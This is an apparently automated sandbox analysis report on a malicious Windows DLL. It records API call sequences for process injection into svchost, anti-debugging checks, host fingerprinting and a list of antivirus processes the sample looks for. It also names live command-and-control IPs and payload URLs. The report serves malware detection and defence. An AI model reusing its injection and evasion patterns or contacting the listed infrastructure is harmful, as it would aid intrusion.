Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_031069D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_031069D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055ADE70 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	4_2_055ADE70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055AEF64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_055AEF64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055B1EC7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_055B1EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030A6530 SetUnhandledExceptionFilter,GetConsoleWindow,ShowWindow,GetCurrentThreadId,PostThreadMessageA,GetInputState,CreateThread,WaitForSingleObject,CloseHandle,Sleep,	5_2_030A6530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030AAFAE SetUnhandledExceptionFilter,	5_2_030AAFAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030A8678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_030A8678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030A69D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_030A69D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0535DE70 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	5_2_0535DE70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0535EF64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0535EF64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05361EC7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_05361EC7

Source: C:\Windows\SysWOW64\rundll32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 38.147.186.138 443			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.204.213.99 7677			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04205830 _memset,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,ResumeThread,

3_2_04205830

Contains functionality to inject threads in other processes

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB7760 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,	3_2_04DB7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A7760 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,	4_2_055A7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05357760 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,	5_2_05357760

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe	3_2_04DB7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe	3_2_04DB7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe	4_2_055A7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe	4_2_055A7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe	5_2_05357760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe	5_2_05357760

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1

Jump to behavior

Source: rundll32.exe, 00000003.00000002.3545527628.0000000004EA4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3545452480.0000000005814000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3545296964.00000000055C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inProgram Manager
Source: rundll32.exe, 00000003.00000003.1859849078.0000000005AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1876997560.00000000062D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1883764518.0000000006082000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.4 0 min549163Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free3 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,	3_2_04DB53C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,	4_2_055A53C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,	5_2_053553C0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_0420B587 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_0420B587

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DC5D95 __lock,wsprintfW,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

3_2_04DC5D95

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB6A00 wsprintfW,GetCurrentProcessId,wsprintfW,_memset,GetVersionExW,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,wsprintfW,

3_2_04DB6A00

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: rundll32.exe	Binary or memory string: acs.exe
Source: rundll32.exe	Binary or memory string: avcenter.exe
Source: rundll32.exe	Binary or memory string: kxetray.exe
Source: rundll32.exe	Binary or memory string: vsserv.exe
Source: rundll32.exe	Binary or memory string: avp.exe
Source: rundll32.exe	Binary or memory string: cfp.exe
Source: rundll32.exe	Binary or memory string: KSafeTray.exe
Source: rundll32.exe	Binary or memory string: 360Safe.exe
Source: rundll32.exe	Binary or memory string: 360tray.exe
Source: rundll32.exe	Binary or memory string: rtvscan.exe
Source: rundll32.exe	Binary or memory string: TMBMSRV.exe
Source: rundll32.exe	Binary or memory string: ashDisp.exe
Source: rundll32.exe	Binary or memory string: 360Tray.exe
Source: rundll32.exe	Binary or memory string: avgwdsvc.exe
Source: rundll32.exe	Binary or memory string: AYAgent.aye
Source: rundll32.exe	Binary or memory string: RavMonD.exe
Source: rundll32.exe	Binary or memory string: QUHLPSVC.EXE
Source: rundll32.exe	Binary or memory string: Mcshield.exe
Source: rundll32.exe	Binary or memory string: K7TSecurity.exe

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CC4768C bind,GetLastError,

3_2_6CC4768C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	322 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	322 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Indicator Removal	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HLMJbase.dll	0%	ReversingLabs
HLMJbase.dll	3%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dcttx.com	38.147.186.138	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://dcttx.com/19/77.bin	rundll32.exe, 00000003.00000003.1729874036.00000000028B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2157580790.00000000028AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3543030625.000000000287A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1698661519.00000000028B5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2339917557.00000000028AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3542816522.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794106955.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1976663029.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699780132.0000000002EB6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699722110.0000000002EF4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754289743.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754407677.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2166846758.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1802814248.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723716813.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3542903898.0000000002EE1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723632245.0000000002F22000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754193127.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txtFailed	rundll32.exe, rundll32.exe, 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.3546373145.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.3546252526.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, HLMJbase.dll	false	unknown
https://dcttx.com/19/77.bin)	rundll32.exe, 00000003.00000003.1729874036.00000000028B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txt	rundll32.exe, 00000003.00000003.1698661519.00000000028B5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699780132.0000000002EB6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723716813.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.bin8	rundll32.exe, 00000005.00000003.1754289743.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754407677.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2166846758.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1802814248.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723716813.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3542903898.0000000002EE1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754193127.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.binf	rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.binD	rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txt)	rundll32.exe, 00000003.00000003.1698661519.00000000028B5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.bin3	rundll32.exe, 00000003.00000003.1729874036.00000000028B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.binA	rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.bin_	rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.bin.	rundll32.exe, 00000005.00000003.1754289743.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754407677.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754193127.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
38.147.186.138	dcttx.com	United States		138576	CODECCLOUD-AS-APCodecCloudHKLimitedHK	true
45.204.213.99	unknown	Seychelles		134705	ITACE-AS-APItaceInternationalLimitedHK	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579416
Start date and time:	2024-12-22 09:28:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HLMJbase.dll
Detection:	MAL
Classification:	mal72.spyw.evad.winDLL@10/0@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 109 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CODECCLOUD-AS-APCodecCloudHKLimitedHK	http://www.wagtg.com	Get hash	malicious	Unknown	Browse	45.152.115.161
	ULRmk7oYR7.elf	Get hash	malicious	Mirai	Browse	38.147.162.173
	file.exe	Get hash	malicious	Reverse SSH	Browse	45.152.67.101
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
ITACE-AS-APItaceInternationalLimitedHK	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	154.223.235.4
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.194.197.213
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.91.87.201
	b3astmode.mpsl.elf	Get hash	malicious	Mirai	Browse	156.237.86.243
	ppc.elf	Get hash	malicious	Mirai	Browse	156.230.199.0
	hax.mpsl.elf	Get hash	malicious	Mirai	Browse	156.227.127.152
	hax.arm5.elf	Get hash	malicious	Mirai	Browse	156.237.86.244
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.235.45.122
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	156.235.45.170

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	38.147.186.138
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	38.147.186.138
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	38.147.186.138
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	38.147.186.138
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	38.147.186.138
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	38.147.186.138

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.62577478877575
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	HLMJbase.dll
File size:	1'071'104 bytes
MD5:	250eb1ef1645f13252ef13c14ba66d51
SHA1:	4aa14d113af1d74fbd1adbc16c10126b69878d0b
SHA256:	dacdac1e333a1f45700e3707e617ff49c457226604f1ffa160fc3faf9b6810b3
SHA512:	e8afc0d6c8c089a8cb1802e21a115961941951ef40d6d553f41980a0c40f9a0644220ba9c55623711f8928e1d47723e9f3d896bcce3806d181d509318ac78f6b
SSDEEP:	24576:X8vRHK4uhXIAnszgnvuscGteHwoXilrEAfTo:V4rewws0rfc
TLSH:	BB35AE40EAD3C5BBDD4F2474642FF33FDB32560A8338D693EBE42DB5A86A361541A106
